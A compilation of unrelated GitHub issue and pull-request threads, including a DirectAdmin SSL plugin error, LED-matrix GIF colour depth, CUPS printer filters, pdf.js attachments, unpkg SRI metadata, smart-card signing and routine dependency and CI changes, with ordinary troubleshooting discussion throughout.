Warning: stream_socket_client(): SSL: Connection reset by peer in /usr/local/directadmin/plugins/da-letsencrypt/includes/lib/HTTPSocket.php on line 198 Warning: stream_socket_client(): Failed to enable crypto in /usr/local/directadmin/plugins/da-letsencrypt/includes/lib/HTTPSocket.php on line 198 Warning: stream_socket_client(): unable to connect to ssl://<IP_ADDRESS>:2222 (Unknown error) in /usr/local/directadmin/plugins/da-letsencrypt/includes/lib/HTTPSocket.php on line 198
Openssl s_client works and gives correct certificate.
Need to disable SSL to make plugin work. At the moment, see also previous issue about requesting ssl cert for portal.

Hmm, strange. Is your DA port 2222? SSL should work fine.

Could it be possible it fails when there is no valid SSL certificate?

I use cacert certificates at the moment, and ask my clients to install the root certificate for cacert to don't get error's. But I haven't added the root certificate to the server. So now da-letsencrypt checks the certificate. And find it's not acceptable because the root cert is not there.
Two options:
Option 1: connect to ssl://localhost:222 and allow connection if certificate valid or not.
Option 2: Add a function to install a letsencrypt cert for the local DA server. Issue #52
I think option 2 is better than fixing this, unless it is possible and maybe can enable or disable the option to allow invalid/expired cert.

Hmm, wasn't that already disabled? See #19.

Well if that should have fixed it it isn't working for me with my cacert.org certificate, with a missing root cert in local root certificate store. But this can be closed if it is possible to request a certificate for the DA server default webpage and the also the DA web/management portal (:2222).
Then this problem should go away altogether, when enabling the module you are able to request the certificate for the DA management portal/DA default website. So there is always a good certificate for the DA management portal.

Ok, added the cacrt root1 and root3 to the server ca bundle. But still this error. So something else.... But what.

What if you curl or wget localhost:2222?

I'm closing this issue, because I'm not able to reproduce it. When you still have this issue, don't hesitate to open it again.


Unusable gif in bits 2

hi @mrfaptastic ,
back to old test using nyan cat image. gif look very bad with PIXEL_COLOR DEPTH_BITS 2
background color blue becoming black in the display. basically is unusable to play gif in bits 2. the gif are already rendered with 8 bits color pallet which the lowest i can go to generate the gif which only consist 8 color. please find attached gif i used for the test. no issue with bits 3 however the gif rendered properly. i think lowest bit 2 should also be able to render 8 color tables at least.
it there any can be improve on the library to allow lower bit depth as low as the lowest 2?
of should i use other gif generator to convert the image?

thanks in advanced

Hello. Running the library with a colour depth != 8 is not something that can be relied on. It's really undefined what the colour palette you'll get.
Not all 2bit colour palettes are the same hence the missing colours.
Do you really need to run it at 2 bit colour?

Hello. Running the library with a colour depth != 8 is not something that can be relied on as it's undefined what the real colour palette will be available. Also, not all 2bit colour palettes are the same hence potential missing colours.
Do you really need to run the library at 2 bit colour? 4 bit would be the minimum I think, at least from my testing before things became horrible.

ya, for 192x64 i can set to 2. 3 wifi not working, 4 i will have guru meditation error. run out of option. tried to add psram to my modules today but still no success. wondering is there is workaround such as gif converter or conversion technic that can properly map the color that match the bits supported. or potentially map the bit to the closest bit for that color.
what i did not understand is why the matrix can run 8bit 255 variation for each channel but couldnt get matching color pallets.  i am guessing the AnimatedGif example did not properly match the palette and the 8 bit pixels.

I'm not sure.
Looks like there's som obsure color bit-match issue which exposes itself when you're using such a low color depth. This isn't a graphics library, it's a 8bit colour -> DMA LED PWM library essentially.
Best best it to play with the library directly using drawPixel and see what color values do work at such a low color depth and check that the gif is using the right color.

look like convert images to gif is a must and creating new gif images that support 2 bits color is not an option. i have no control what is the resulting color bits. the only option left now is by reducing the ram usage and increase the bits to at least 4.
mbedTLS and wifi consume lots of memory even after optimization. not sure if i could get those lesser.

this won't work by design. 2 bit gif actually means "Take any four colors out of 256, put it into an index table and encode whole image using only those 4 colors". So, when decoded, you will receive the same 8 bit depth color image, but with only 4 different colors.
2 bit depth in this lib actually means using 2 most significant bits per each color and throw away the rest, which results in 6 bits total or 64 colors. There is no need to reduce color index depth in GIFs, once decoded you will receive 8 bit depth anyway.

logically, 64 colors or 2 bits should be enough to render 8 color gif even it is from any range of 255 colors. right?
gif export that i did only work up to 8 color gif no less. 4 color gif looks garbage. agree with the 8 bit depth gif, instead of using full 255 range color. the gif export reduce the color up to 8 color but any from the 255 range.
the issue is the lib cant map this 8 color gif to 64 color. look like the lib already have those 64 color selection in place(no issue). throw any color that not supported (issue). logically if we can key in any 255 range in two bits the lib can convert it to nearest color from 64 color which what the lib is doing now.
if 8 color gif are still 255 color read by the library. no way we can properly create gif with 64 exact color that can be accepted by lib and 255 is what range that the lib can accept btw even in 2 bits mode.
the animated gif is properly map to color 565, still in 255 range no issue there too..

logically, 64 colors or 2 bits should be enough to render 8 color gif even it is from any range of 255 colors. right?

No, absolutely not! Consider GIF as just a palette - you have full 24 bit RGB colors, choose any 256 (or less, up to two) colors and store in your palette. Need a nice blue sky gradient - choose 256 blue colors from dark to light and draw your sky. Need a chess board with Ivory and dark blue - take 2 of those colors. But to draw it you still need True Color 24 capable device (8 bit x RGB in this lib).
Once you start reducing lib's color depth less than 8 you will never be able to draw exact same colors even from a 2 bit gif (well, except pure black and white maybe) :)

never be able to draw exact same colors even from a 2 bit gif

never be able to draw 'exact' colors is yes, but the result of gif blue background becoming black in the panel. and not blue. but why i can use color565(0,0,255) to draw a blue text? or even color565(0,255,255) to have a light blue?
i am looking at neocat example here
how he did the hsv conversion. i guess this something related and yes i totally did not understand what the code is doing.

this is another result, i am using PIXEL_COLOR_DEPTH_BITS 3. it is a panda head

from this true color image:

i think i have simple solution for this, but not really the real solution i guess. i would need to reassign the 565 value that was set by the gif animator to the more nearest value of 64 color that was supported by the library in 2 bits. means i have to divide the 565 value that was set by the gif animator to 255 then reassign to the nearest preset value so i can control the colors of any gif.

Yep. You need to write some color mapping code in the drawgif function.

look like it simply change unknown color to black

This isn't a problem with this library. You're simply not going to get magical colors from an ESP32 with that many panels, double buffering etc.
2 bits per sub pixel = only FOUR possible brightness values per color channel. Horrible color reproduction even if you did match things up.
Uncomment line 87 of ESP32-HUB75-MatrixPanel-I2S-DMA.h
// #define NO_CIE1931
``
For example, using a blue color only, with 2bit color per color subpixel:

255/4 = 1-64 = black, 64-127 = 25%, 127-192 = 75%, 192+ 100% brightness

That's what I see with a simple arduino sketch.

uint8_t wheelval = 0;
void loop() {
dma_display.fillScreenRGB888(0,0,wheelval);

wheelval++;
delay(50);
Serial.print("Value is:");
Serial.println(wheelval);

}

problem with rendering gray or near to black color.
will try that @mrfaptastic
thanks!

Again, not a problem with this library.
2-bits-per-pixel = 6 bits color palette (given there are three colors)
https://lospec.com/palette-list/6-bit-rgb

Using paint.net to see what your original 8bitpp color image would look like @2bitpp:

Actually looks worse than what the LED matrix outputs.

hi @mrfaptastic
disable the cie 1931 make the color a bit more sense, but on the higher bits turning on cie 1931 is better. but still the color are now more white like brightness. if i want to change the brightness effected by the cie1931 or might change the white or black level how can i do that?

255/4 = 1-64 = black, 64-127 = 25%, 127-192 = 75%, 192+ 100% brightness
so this is the calculation i need for conversion or the library is actually doing this?

thanks!

understood, thats the range applied for 2 bit depth
thanks @mrfaptastic


Move files shared by FoundationEssentials and FoundationInternationalization to _FoundationInternals

Add a folder Sources/_FoundationInternals to host internal files needed by both modules. Move LockedState.swift there.
Add Sources/_FoundationInternals as a symlink inside both modules, so the files under Sources/_FoundationInternals appear as their own sources respectively.

@swift-ci please test

This would be greatly appreciated by me - I've been waiting for this change to start uploading changes for the work to enable Windows.

@swift-ci please test


Filter failed?

Cant print on CUPS 2.2.1
stopped
"Filter failed"
Can anyone give me some insight in what to do here?
We are trying to print to a thermal printer, on a different server running CUPS 1.5.4 we can print OK, but on a newly built fresh server with CUPS 2.2.1, with the printer drivers/ppd/filter installed we get this error.
Thanks.

Generally speaking, look at your /var/log/cups/error_log file which should contain the debug log messages leading up to the failure.  More than likely you are missing one of the drivers you are using on the other server.

D [11/Jun/2018:12:56:59 +0000] [Job 4] execv failed: Exec format error
D [11/Jun/2018:12:56:59 +0000] [Job 4] PID 988 (/usr/lib/cups/filter/rastertoprinter) stopped with status 108 (Exec format error)

"rastertoprinter" is Gutenprint - probably you copied the binary over but the new server can't run it.
Try installing Gutenprint on the new server.

Trying now, thanks

printer-driver-gutenprint is installed already (tried to remove then install again) still same error. should i try to build from source?

Actually I think you might be talking about the drivers for the printer I have, I've re-copied them into the folders, still have the issue. could it be a different error i need to find?

I think the filter name changed, so try updating the printer with a newer PPD.

Newer ppd from the manufacturer?

Newer Gutenprint PPD. If you use the web interface, you can modify the print queue and select the correct make/model from there. From the GNOME UI the process will be similar.

rastertoprinter is ancient - it was renamed in 2003, prior to the rename from Gimp-Print to Gutenprint (between 4.3.23 and 4.3.24).  That would have to be a very badly out of date PPD file.  Gutenprint can't auto-update PPD files that old.

The make & model isn't in the list by default, I have the PPD from the manufacturer which I have installed and a rastertoprinter filter which they also sent. I take it that's probably the issue? The code?

Yes, if the manufacturer provided a PPD and an old Gutenprint, that is likely the issue there.
What is the make and model of the printer?

I can discuss with the manufacturer, but I don't think they will write new code, is the answer to do like I was trying previously, using cups 1.5.4? Printer is an 80mm OEM thermal printer from China.

OK thank you

could it be a 32 vs 64 bit compilation issue? if they supply a new driver that we compile on a 64bit machine could that solve it?

Possibly, but there is no way to know from the error message...

Ok thanks, I'll keep persisting. 4 different brand printers and a solid week plus of effort and I've been getting nowhere so I thought I'd ask here! Appreciate the feedback and your time to help. Thanks

If the printer accepts ESCPOS, try out a web search for:
rastertozj
You’ll get a number of hits for software which can accept cups' raster format and output escpos for (most of) those printers.

Thanks, i'll try

This worked -- however the print speed is slow, and the paper cutting doesn't work. I'll keep at it. Thanks.


mat-sidenav-container does not support ngClass

Bug, feature request, or proposal:
<mat-sidenav-container *ngClass="{'some-class': true}">
does not render a sidenav container.
ERROR TypeError: Cannot read property 'add' of undefined
at EmulatedEncapsulationDomRenderer2.webpackJsonp.../../../platform-browser/esm5/platform-browser.js.DefaultDomRenderer2.addClass
What is the expected behavior?
<mat-sidenav-container *ngClass="{'some-class': true}">
should render the sidenav container
What is the current behavior?
<mat-sidenav-container *ngClass="{'some-class': true}">
produces a console error and no rendered output:
What are the steps to reproduce?
See above.
What is the use-case or motivation for changing an existing behavior?
Which versions of Angular, Material, OS, TypeScript, browsers are affected?
Angular Material 5.2.4, Angular 5.2, TypeScript 2.7.1, Chrome Version 64.0.3282.186 (Official Build) (64-bit), OSX

That's not the correct way to use ngClass. You're supposed to use it with the square brackets:
<mat-sidenav-container [ngClass]="{'some-class': true}">


Update cats-effect to 2.0.0

Updates org.typelevel:cats-effect from 1.2.0 to 2.0.0.
I'll automatically update this PR to resolve conflicts as long as you don't change it yourself.
If you'd like to skip this version, you can just close this PR. If you have any feedback, just mention @scala-steward in the comments below.
Have a fantastic day writing Scala!

Ignore future updates
Add this to your .scala-steward.conf file to ignore future updates of this dependency:
updates.ignore = [ { groupId = "org.typelevel", artifactId = "cats-effect" } ]

labels: semver-major

Superseded by https://github.com/coursier/coursier/pull/1373.


After Upgrading From cancan 1.6.10 To cancancan 2.0.0 Three Tests Failing

Steps to reproduce
So I have the following custom ability class:
module Authx
  module Ability
    def initialize_authx_ability(user)
      return unless user.permissions
      user.permissions.each do |permission|
        can permission.parameterize.underscore.to_sym
      end
      # binding.pry
      link_authx_permissions
    end

    def link_authx_permissions(user = nil)
      # To be overwritten by the application, so that it can properly link the authx permissions into the general
      # cancan permissions.
    end
  end
end

As part of my test for the User model I have the following:
describe User do
  before do
    class MyAppAbility
      include CanCan::Ability
      include Authx::Ability
      def initialize(user)
        initialize_authx_ability(user)
      end

      def link_authx_permissions(_user = nil)
        can :read, :all if can? :authx_user_access
      end
    end
  end

  it "should load abilities that cancan can use" do
    VCR.use_cassette("services/user/authenticate_success") do
      user = User.authenticate_with_credentials(Auth.params)
      ability = MyAppAbility.new(user)

      expect(ability.can?(:authx_user_access, nil)).to be_truthy
      expect(ability.can?(:voucher_access, nil)).to be_truthy
      expect(ability.can?(:fpu_central_access, nil)).to be_falsey
    end
  end
end

The user variable, after authenticating, contains the correct symbol in it's permissions hash (e.g. :authx_user_access) and can be seen when tracing through the initialize_authx_ability method.
Actual behavior
However after calling can :authx_user_access in the initialize_authx_ability method. expect(ability.can?(:authx_user_access, nil)).to be_truthy is returning a falsey value.
Expected behavior
expect(ability.can?(:authx_user_access, nil)).to be_truthy returns a truthey value.
Any thoughts as to where I may be going wrong?
System configuration
Rails version:
N/A
Ruby version:
2.4.0
CanCanCan version
2.0.0

UPDATE: So ensure that the subject is passed resolves the issue, but aren't user's expecting to have to make no changes with an upgrade? Or am I off there?

Please refer to Stackoverflow for questions. Thanks.


can DTW be negative?

Can DTW return a negative difference between the two sequences? (dist_func was not given. If so, as far as I know, euclidean distance works)

In this image, those two sequences are compared by DTW cuda (dist_func was not given.)
...self.sdtw = SoftDTW(use_cuda=True, gamma=0.1)
diffs = self.sdtw(y_pred, y)
"""y_pred shape = (1000, 100, 1), y shape = (1000, 100, 1)"""
if diffs[0] < 0:   # current diffs[0] = -2.0720e+00
plt.figure(figsize=(10, 5))
plt.plot(y_pred[0, :, [0]].cpu().detach().numpy(), label="y_pred")
plt.plot(y[0, :, [0]].cpu().detach().numpy(), label="y")
plt.legend()
plt.show() => above image.

Yes, this issue duplicates #9. Please see the response by the original authors.


K8SPXC-595: Change disableHookValidation field in cr

 ❨?❩
Change disableHookValidation field in cr

Test name
Status

Test name
Status

Test name
Status

haproxy
passed

recreate
passed

storage
passed

upgrade-haproxy
passed

big-data
passed

scaling
passed

init-deploy
passed

self-healing
passed

restore-to-encrypted-cluster
passed

upgrade-proxysql
passed

scaling-proxysql
passed

limits
passed

security-context
passed

self-healing-advanced
passed

monitoring-2-0
passed

demand-backup
passed

smart-update
passed

affinity
passed

one-pod
passed

operator-self-healing
passed

auto-tuning
passed

proxysql-sidecar-res-limits
passed

pitr
passed

users
passed

upgrade-consistency
passed

demand-backup-encrypted-with-tls
failed

tls-issue-self
passed

tls-issue-cert-manager
passed

tls-issue-cert-manager-ref
passed

validation-hook
passed

Test name
Status

haproxy
passed

recreate
passed

storage
passed

upgrade-haproxy
passed

big-data
passed

scaling
passed

init-deploy
passed

self-healing
passed

restore-to-encrypted-cluster
passed

upgrade-proxysql
passed

scaling-proxysql
passed

limits
passed

security-context
passed

self-healing-advanced
passed

monitoring-2-0
passed

demand-backup
passed

smart-update
passed

affinity
passed

one-pod
passed

operator-self-healing
passed

auto-tuning
passed

proxysql-sidecar-res-limits
passed

pitr
passed

users
passed

upgrade-consistency
passed

demand-backup-encrypted-with-tls
failed

tls-issue-self
passed

tls-issue-cert-manager
passed

tls-issue-cert-manager-ref
passed

validation-hook
passed

PXC operator docker - perconalab/percona-xtradb-cluster-operator:PR-721-777b58b7

PXC operator docker - perconalab/percona-xtradb-cluster-operator:PR-721-777b58b7

Test name
Status

scaling
passed

scaling-proxysql
passed

security-context
passed

big-data
passed

haproxy
passed

init-deploy
passed

limits
passed

monitoring-2-0
passed

affinity
passed

one-pod
passed

upgrade-haproxy
passed

auto-tuning
passed

proxysql-sidecar-res-limits
passed

users
passed

tls-issue-self
passed

storage
passed

tls-issue-cert-manager
passed

self-healing
passed

tls-issue-cert-manager-ref
passed

self-healing-advanced
passed

validation-hook
passed

operator-self-healing
passed

recreate
passed

restore-to-encrypted-cluster
passed

demand-backup
passed

pitr
passed

demand-backup-encrypted-with-tls
passed

upgrade-proxysql
passed

smart-update
passed

upgrade-consistency
passed

scheduled-backup
passed

Test name
Status

scaling
passed

scaling-proxysql
passed

security-context
passed

big-data
passed

haproxy
passed

init-deploy
passed

limits
passed

monitoring-2-0
passed

affinity
passed

one-pod
passed

upgrade-haproxy
passed

auto-tuning
passed

proxysql-sidecar-res-limits
passed

users
passed

tls-issue-self
passed

storage
passed

tls-issue-cert-manager
passed

self-healing
passed

tls-issue-cert-manager-ref
passed

self-healing-advanced
passed

validation-hook
passed

operator-self-healing
passed

recreate
passed

restore-to-encrypted-cluster
passed

demand-backup
passed

pitr
passed

demand-backup-encrypted-with-tls
passed

upgrade-proxysql
passed

smart-update
passed

upgrade-consistency
passed

scheduled-backup
passed


Libp2p quic reimplementation

fix performance
make it "work", at least all known bugs found and fixed

A BIG TODO is to prettify the code in another PR

rustdoc intra-doc will be fixed in another pr. clippy generates a warning that should not be fixed in this pr at all.


Remove branch specific jobs names

The branch info is encoded in the folder in Jenkins.
/cc @otawfik-ms

@dotnet-bot test ci please

@dotnet-bot test ci please

@mmitche if we merge this, how can we reference specific branches in build? example: build status badges?

Yep, so you merge it, and then the jobs will appear here:
http://dotnet-ci.cloudapp.net/job/Microsoft_visualfsharp/job/master/
You may click on a job and grab the build status badge link on the left side, for instance, here is the page of badge links for the generator:
http://dotnet-ci.cloudapp.net/job/Microsoft_visualfsharp/job/master/job/generator/badge/

/CC @Microsoft/fsharp-compiler

@otawfik-ms You'll need to integrate this into the vs2015 branch to get the updated netci there, since that is where the vs2015 job definition lies now.

@mmitche I'll leave the badge empty then until the integration happens. Thanks for the heads up!

And coreclr :)


ER Diagrams Dbeaver 2.5

Hello.
In version 2.4 when i right clicked a table and clicked "view diagram" i could see the

the entity
entities that depend on that entity on the left
entities on which that entity depends on the right

In version 2.5 i can only see

the entity
entities on which that entity depends on the right

How can i configure dbeaver 2.5 to bring back that behavior?

issue is out-of-date.
Ticket closed


Extracting attachments from PDF files

PDF with attachments.pdf
Configuration:

Web browser and its version: Chrome (Version 101.0.4951.54 (Official Build) (x86_64)) and Firefox (100.0 (64-bit))
Operating system and its version: Mac OS X 11.5
PDF.js version: 2.13.216
Is a browser extension: No

Steps to reproduce the problem:
const pdf$ = from(file.arrayBuffer()).pipe(
      map((content: ArrayBuffer) => new Uint8Array(content)),
      switchMap((blob: Uint8Array) => getDocument(blob).promise)
    );
    const attachments$ = pdf$.pipe(
      switchMap((pdf: PDFDocumentProxy) => from(pdf.getAttachments())),
      map((attachments: any) => {
        console.log(attachments);
      })
    )

What is the expected behavior? The table with the attachments should be returned.
What went wrong? Attachments table is null.

Trying to extract attachments from PDF file using pdf.js.

The Attach (recommended) or Link to PDF file here:-part of the ISSUE_TEMPLATE is required in order for this (or any issue really) to be actionable.

Steps to reproduce the problem:

Please note https://github.com/mozilla/pdf.js/blob/master/.github/CONTRIBUTING.md (emphasis mine):

If you are developing a custom solution, first check the examples at https://github.com/mozilla/pdf.js#learning and search existing issues. If this does not help, please prepare a short well-documented example that demonstrates the problem and make it accessible online on your website, JS Bin, GitHub, etc. before opening a new issue or contacting us in the Matrix room -- keep in mind that just code snippets won't help us troubleshoot the problem.

What went wrong? Attachments table is null.

Most PDF documents do not contain any attachments, are you actually sure that yours does?

@Snuffleupagus , apologies. I added a test PDF above. When opening it on Firefox I can see the attachments, but I can't extract them using the pdf.js library.

That's because your document doesn't actually contain any "normal" attachments, however it does have FileAttachment-annotations (which are not the same thing).
To access those you'll have to use the getAnnotations-method on each page-instance, and loop through the returned array looking for ones with subtype === "FileAttachment".

Thank you very much @Snuffleupagus !
The PDF is generated by Outlook when exporting emails which have attachment as PDFs. I have no control over that.


Bot Composer issue when integrate with Language studio

I followed the CQA Recognizer, but I have the following issue
I am using Bot Composer, I tried to use the new package, but I have an issue when I try to run the bot on webchat from composer
dialog error: Type Microsoft.Bot.Components.Recognizers.CustomQuestionAnsweringRecognizer not registered in factory.

I got the solution thanks


Add support for Subresource Integrity (SRI)

From this comment it appears there is no Subresource Integrity (SRI) support.
Does the Cloudflare API provide a hash or is this something that would need to be generated on the unpkg server?

As I said in this comment AFAICT there's nothing we actually need to do to "support SRI".
We could, however, make it easier for people to use SRI by encouraging them to include the integrity attribute on script and link tags that point to unpkg. I'm open to suggestions on the best way to do that.

This was added in https://github.com/unpkg/unpkg-website/commit/666d8afc95401ecf3ebbb2f53322f5e8b6a57286#diff-7f0bc55459ac97fa7ee48a9efe7ef6b5R55
You can now prefix any request path with /_meta to get metadata about that resource, which includes an integrity attribute for files.
We still need to figure out a better way to expose this info for people browsing the website, but it's there for anyone who wants to fetch it programmatically.

I was bit confused with how /_meta is used. For people as confused as me, you can append ?meta at the end of the URL to get the metadata info for the resource.
https://unpkg.com/react@16.0.0/umd/react.production.min.js?meta

Ya, sorry. I removed /_meta in favor of using a ?meta query param. This issue is a bit out of date, but the home page is up to date.


Now playing not working

device Lg g6 H870
android 11 Havoc OS
february patch
I've installed ambient services also as system app; now, in audio section appears "now playng" but when i click it, ambient services crash and doesn't allow me to use now playing feature
Locgat file says " /product/etc/ambient/matcher_tah.leveldb core shard not found."
So i extracted from another rom this file and placed in correct folder, now when i click on now playing there is no more crash but i can't still use now playing feature.
Also another error appears in logcat :  "Can't load /system/etc/firmware/music_detector . sound_model"
The logcat:
https://del.dog/uckolemoth.txt
https://del.dog/imicrilyxi.txt

Try the updated release should work - https://github.com/ayush5harma/PixelFeatureDrops/releases/tag/r7


Freeze clothesmate

People will do anything but add uniform dying.
This vendor has over 100 entities and the restock price has ballooned out to over $5k so we should stop adding tech debt.

is winterdrobe still fair game?

is winterdrobe still fair game?

Depends if you're adding reskins or not.


Change triggered by none of the following:

This PR was generated using Autosynth. :rainbow:
Synth log will be available here:
https://source.cloud.google.com/results/invocations/9abe4088-78be-4d82-be69-014bac00f61d/targets

We don't want to merge this - it's the unintended result of a generator change.

Closing now the generator has been fixed.


Made team lead schema and use case with TrackDevelopmentStatus id

added team lead schema
added use case with TrackDevelopmentStatus id
small text change in stakeholders-needs.md file
small text change in General schema

closes #71, closes #66


Text composables: Android Basics with Compose

https://developer.android.com/codelabs/basic-android-kotlin-compose-classes-and-objects
HAS-A relationships: Step - 10
After describing how to create classes which can have HAS-A relationship among each other, it was not described on how to instantiate an object for that class.
This will confuse many beginners as on what parameters to pass and which class to call to create an object.
Steps to reproduce?

Go to - https://developer.android.com/codelabs/basic-android-kotlin-compose-classes-and-objects
Go to - HAS-A Relationships Step 10

Screenshot

Hi @akashjain0900
Thank you for writing in and sharing your concern with us.
I will share it with the team so they can review and decide how they would like to address it.
Hope you are enjoying the course!
Regards.


Added onShowResult as callback

Useful I you have to modify some views when suggestions are showing or not

Thanks for your PR I will merge and publish it as soon as possible.

@eljuaqui did some small changes to your PR and merged them into master. Will review and merge #8 by tomorrow and publish everything on npm.


specifying

Closes https://github.com/MicrosoftDocs/office-docs-powershell/issues/7798

Docs Build status updates of commit 187c72e:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

sharepoint/sharepoint-ps/sharepoint-online/Set-SPOOrgNewsSite.md
:white_check_mark:Succeeded
View (sharepoint-ps)

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching the docs.microsoft.com contributor guidesPost your question in the Docs support channel

But we're not marking the "site collection" (which is just a container), but rather the root web. Honestly, I think "site" is OK.

But we're not marking the "site collection" (which is just a container), but rather the root web. Honestly, I think "site" is OK.

To me, site is ok too, but agreed to create a PR with user proposal. I am ok if we leave as-is.

I think everyone agrees... Should it be closed?


SmartCard Signature

I'm using CmsSignedDataGenerator class to generate P7S files, but when I use a certificate stored in a smart card (USB), I receive the following exception:
`
var cert = Certs.Find(thumbprint: "3fe7392cfa03bec156aac0dbb231ada33fc758f6");
var pvtKey = DotNetUtilities.GetKeyPair(cert.PrivateKey).Private;
gen.AddSigner(pvtKey, ...);
`
Unhandled Exception: System.Security.Cryptography.CryptographicException: Key not valid for use in specified state.
Is there some trick to use BouncyCastle to sign documents with certificates stored in USB/smartcard?

Hello @israelaece ,
smart cards usually provide a PKCS11 interface. An example of how to create a p7s signature using BC and a smart card is here
https://github.com/jariq/Pkcs7SignatureGenerator.
A similar method is used to sign using the Windows Cert Store for certificates that do not export private keys.


Fix loading of Draco compressed model

Fixes https://github.com/CesiumGS/cesium/issues/9972
The componentType of the indices accessor was 5125 (UNSIGNED_INT) but the typed array returned by decodeDraco was Uint16Array, causing a mismatch between the buffer's index datatype and the buffer's contents that resulted in a WebGL error. The fix was to use the index datatype of the decoded data instead of the accessor's component type.
Why does this model use 5125 for it's componentType? I'm not sure. The model only has 600 or so vertices. But technically it's valid so we should support this case.

Thanks for the pull request @lilleyse!

:heavy_check_mark: Signed CLA found.

Reviewers, don't forget to make sure that:

[ ] Cesium Viewer works.
[ ] Works in 2D/CV.


add workflows for backport and linkchecker

Signed-off-by: Shenoy Pratik<EMAIL_ADDRESS>Description
Adding workflows for backport label support and linkchecker
Issues Resolved
#10
By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.
For more information on following Developer Certificate of Origin and signing off your commits, please check here.

I'm going to move the workflow dir into .github as per convention and submit another PR.


Create function script

Create script containing function and add it to the repository.

Initial script has been created in deepnote and pushed to the repo.


Removing The PHP League from the members list.

Related: https://groups.google.com/forum/#!topic/php-fig/2_bSl2FQnA0

😢

Thanks for sending the PR

@michaelcullum welkom, thank you for all your hard work.


WIP to reproduce setting ISO failure

With these changes it should be possible to reproduce the faiure on setting ISO against Payload-Manager with the Sony R4.
To run:
cmake --build build -j8 && build/src/integration_tests/integration_tests_runner --gtest_filter="CameraTest.ShowSettingsAndOptions"

@DanielePettenuzzo I'm assuming you can reproduce it without this. I'm closing this PR. Let me know if you need it again.


Spaces need point comparison to generate correct labels

In markup_space():
Instead of going intomarkup.Pto find information which just seems to be an endless loop, you'd have to go into markup.Vertices and record those values. Every two sets of numbers in the array are an x,y coordinate. Similarly, there's markup.Rect which only contains two points. I'm not sure which is the best one to use.
For poly lines, it's going to be every control point in the line, but you get the picture. You have to see if all of the points lie inside of a given space. If it falls entirely in one, all points, it is considered to be in that space. If one of the points are outside, it is considered to be out of that space (this is how Revu works anyway).
In get_all_spaces():
You'd also have to pull every object in page.BSISpaces.Path, which seems to be an array with two objects making a point. This is the bounding box of the space that we have to compare each object against.
I think a comparison can be done in this way:
https://stackoverflow.com/questions/55840924/how-to-judge-if-a-polygon-is-inside-another-polygon-in-python

I removed the ability to output spaces until this is resolved properly.

Fixed.


Fix flaky TestStackRemove test

Fixes #30604
For some reason the service was failing to start with the old busybox image (even though I can pull that image without any problem).
Instead of looking for containers, look for the service to exist.

LGTM

For some reason the service was failing to start with the old busybox image (even though I can pull that image without any problem).

What was the reason of this failure?

I don't have the exact text anymore, but it was failing to find the image.


ProseMirror and codemirror examples: Desyncronization

Describe the bug

On the ProseMirror Example, it is possible to desyncronize the two Fluid Containers.
Not only is this not supposed to happen, but there is also no indicator that the containers have become desynced.

To Reproduce
Steps to reproduce the behavior:

Go to https://fluidframework-docs.azureedge.net/playground/?path=/story/react-demos-prosemirror--demo
In the left container, Click at the end of the text "Hello World!"
In the left container, Click the unordered list button
In the left container, Tap the "Enter" key
In the left container, Tap the "Enter" key again
Notice that the right-hand Fluid Container is no longer syncronized to the left container

Expected behavior

I would expect desyncronization not to occur - however, I realize that there are times when this will happen.
If it is inevitable that they desyncronize, it would be nice to show some indicator that the two containers have desynced.

I believe the same issue occurs for the Draft.js editor as well. Not sure if you want that as a separate issue or modify the title of this one.

Thanks for reporting and filing this @andybond006 and double thanks for the great repro steps. I can get both issues to reproduce.  I think a single issue should suffice here.

@SamBroner , @skylerjokiel - we need a plan to either address it or remove samples (or maybe document all limitations).
I think assessment is required in terms of - it's just a leaf bug, or the approach is wrong and we are going to see bugs like that in other areas.
I have not looked too deeply here, but CodeMirror & ProseMirror support OT natively, and in this case the right solution seems to be map it directly to Fluid ops (figure out what to do with summaries), but not try to map it to any existing DDS (like Sequence), as this only works if editor model is constrained by (can be mapped to) insert/delete/annotate operations (and that is not going to change in the future). In the later cases I'd assume that we would not have bugs like this.


Nominate iholder-redhat as reviewer

What this PR does / why we need it:
Nominate iholder-redhat as a reviewer
Special notes for your reviewer:
Community Guidelines for eligibility:
https://github.com/kubevirt/community/blob/main/membership_policy.md#reviewer
Release note:
NONE

/cc @davidvossel @rmohr

/cc @vladikr @jean-edouard

/lgtm

/unhold


[Flutter Firestore] update an array in an array in a document

So basically I have a collection that contains only one document.
That document contains 1 array of maps, and in that array I have an other array
How to update only the inner array?
Tried this:
        _teams.document(result.documents.first.documentID).updateData(<String, dynamic>{
          "teams/${team.index}/memberUids": FieldValue.arrayUnion([myUserId])
        });

got this:
Use FieldPath.of() for field names containing '~*/[]'.

Hi @klaszlo8207
This platform is not meant for assistance on personal code. Please see https://flutter.dev/community for resources and asking questions like this, you may also get some help if you post it on Stack Overflow. Closing, as this isn't an issue with Flutter itself,
if you disagree please write in the comments and I will reopen it
Thank you


Missing optional title argument property for setSuggestedPrompts endpoint & type interface

Unless I am misreading/misusing, there should be an optional top-level title argument available for this endpoint and in this interface.
title exists both at top-level but also within the AssistantPrompt object. API reference
https://github.com/slackapi/bolt-js/blob/b671add27188f9ce1e898bf96b40d3a9860d67cd/src/Assistant.ts#L47-L49
https://github.com/slackapi/bolt-js/blob/b671add27188f9ce1e898bf96b40d3a9860d67cd/src/Assistant.ts#L349-L353

Resolved by #2308


Enable strict type-checking

Currently, all this monorepo doesn't have TypeScript's strict type-checking configuration enabled, and this means that it's prone to very common errors and kills a little bit of the objective of using TypeScript, especially since it doesn't even have strictNullChecks enabled.
Describe the solution you'd like
To enable "strict" in tsconfig.json
Describe alternatives you've considered
At least start enabling strictNullChecks, which I'd say is the most important one.

Done in https://github.com/dotansimha/envelop/pull/173


Limit emoticon size in Emoji plugin

Newest version of emojify.js provide biggest icons, so we need to limit their sizes in the editor

I trust you!


sql-66 - frontend tweaks

sql-89, sql-100, sql-90.

Notices in place for copies
Add Credential button duplicated up top
Note about password.

Update:

Added SQL-109 (copy icon pointer on secret)
AND added a stopPropagation to apikey copy button
Added SQL-108 (Delete Confirmation Step for Accounts and Credentials)
Added SQL-91 - spec validation errors coming from server are covered up with specific messages in frontend for account creation and login. Mostly just for the case that someone forgets to type username or password altogether.

This looks like a boo-boo with your latest scope display changes...


NestMiddleware support asynchronous methods

It would be awesome if NestMiddleware could support
export interface NestMiddleware {
    resolve(...args: any[]): Promise<Express.RequestHandler> | Express.RequestHandler;
}

by checking to see if they are returning a promise and awaiting them.

